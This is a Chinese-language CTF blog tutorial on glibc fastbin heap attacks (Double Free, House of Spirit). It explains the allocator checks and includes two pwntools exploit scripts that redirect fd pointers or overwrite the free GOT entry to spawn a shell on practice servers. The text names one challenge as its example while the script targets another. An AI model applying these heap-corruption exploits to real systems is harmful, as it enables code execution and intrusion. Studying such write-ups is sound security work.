Fastbin_Attack


Fastbin_Attack


概念

在fastbin_attack中,这类漏洞主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空,而且fastbin的头指针指向的是最后一块chuck,因此我们可以通过修改fd指针的方式去进行chuck伪造。


Double_Free

简介

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。在检测机制中,会检测相邻的chuck是否相邻释放,如果是的话就抛出异常。所以我们要用以下的方式去free chuck。这个时候我们得到了2块chuck,达成了Double free,如果这时候去改写一下chuck1的fd就可以篡改地址了,但是有如下2个保证:

1.保证chuck和之前申请的chuck大小要在相同的范围内,同时在fastbin范围内

2.inuse位要保证是,因为fastbin里都是被标记使用的

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}

例子

我们这里选用hitcontraining_uaf为例子,这道题只能申请4个chuck但是存在uaf的漏洞所以我们可以直接去用uaf漏洞去修改fd指针,接下来用double_free的方式去申请chuck来达到目的。接下来直接修改0x602090的值就可以了,调用system函数。

EXP

from pwn import *
elf=ELF("./wustctf2020_easyfast")
#context.log_level='debug'
debug=0
if debug==1:
	io=process("./wustctf2020_easyfast")
else:
	io=remote("node4.buuoj.cn",27358)

def add(size):
	io.recvuntil("choice>\n")
	io.sendline("1")
	io.recvuntil("size>\n")
	io.sendline(str(size))

def free(index):
	io.recvuntil("choice>\n")
	io.sendline("2")
	io.recvuntil("index>\n")
	io.sendline(str(index))

def edit(index,content):
	io.recvuntil("choice>\n")
	io.sendline("3")
	io.recvuntil("index>\n")
	io.sendline(str(index))
	io.send(content)

def backdoor():
	io.recvuntil("choice>\n")
	io.sendline("4")

tar_addre=0x0602080
add(0x40)
add(0x40)
free(0)
edit(0,p64(tar_addre))
add(0x40)
add(0x40)
#gdb.attach(io)
edit(3,p64(0))
backdoor()
io.interactive()

House Of Spirit

简介

与double free有相似,但是是通过堆溢出的手段去改写另外chuck的fd,要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

例子

可以看到这道题目用了一个heaparray来存储各个chuck的值,在对应的edit函数中,我们可以任意的输入数据长度这就导致了修改fd的条件,因此我们可以直接写fd位置到heaparray,然后改为free地址,调用edit为system地址,然后free即可。这道题的关键在于如何去寻找一个合适chuck起始位置,我们可以去找一个只要是7f开头的地址,然后后面全为0即可,这样既保证了是inuse为1,同时大小为0x70在这个fastbin范围之内。

EXP

from pwn import *
elf=ELF("./easyheap")
context.log_level='debug'
debug=0
if debug==1:
	io=process("./easyheap")
else:
	io=remote("node4.buuoj.cn",27228)

def add(size,content):
	io.sendlineafter("choice :",str(1))
	io.sendlineafter("Heap :",str(size))
	io.sendafter("heap:",content)

def edit(index,size,content):
	io.sendlineafter("choice :",str(2))
	io.sendlineafter("Index :",str(index))
	io.sendlineafter("Heap :",str(size))
	io.sendafter("heap :",content)

def free(index):
	io.sendlineafter("choice :",str(3))
	io.sendlineafter("Index :",str(index))

free_got=elf.got["free"]
sys_got=elf.plt["system"]
tar=0x6020ad
add(0x68,"a")
add(0x68,"b")
add(0x68,'c')
free(2)
payload1=b'/bin/sh'.ljust(0x68,b'\x00')+p64(0x71)+p64(tar)
edit(1,0x78,payload1)
add(0x68,'c')
add(0x68,'d')
edit(3, 0x2b, b'a' * 0x23 + p64(elf.got['free']))
edit(0, 0x8,p64(sys_got))
free(1)
io.interactive()


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录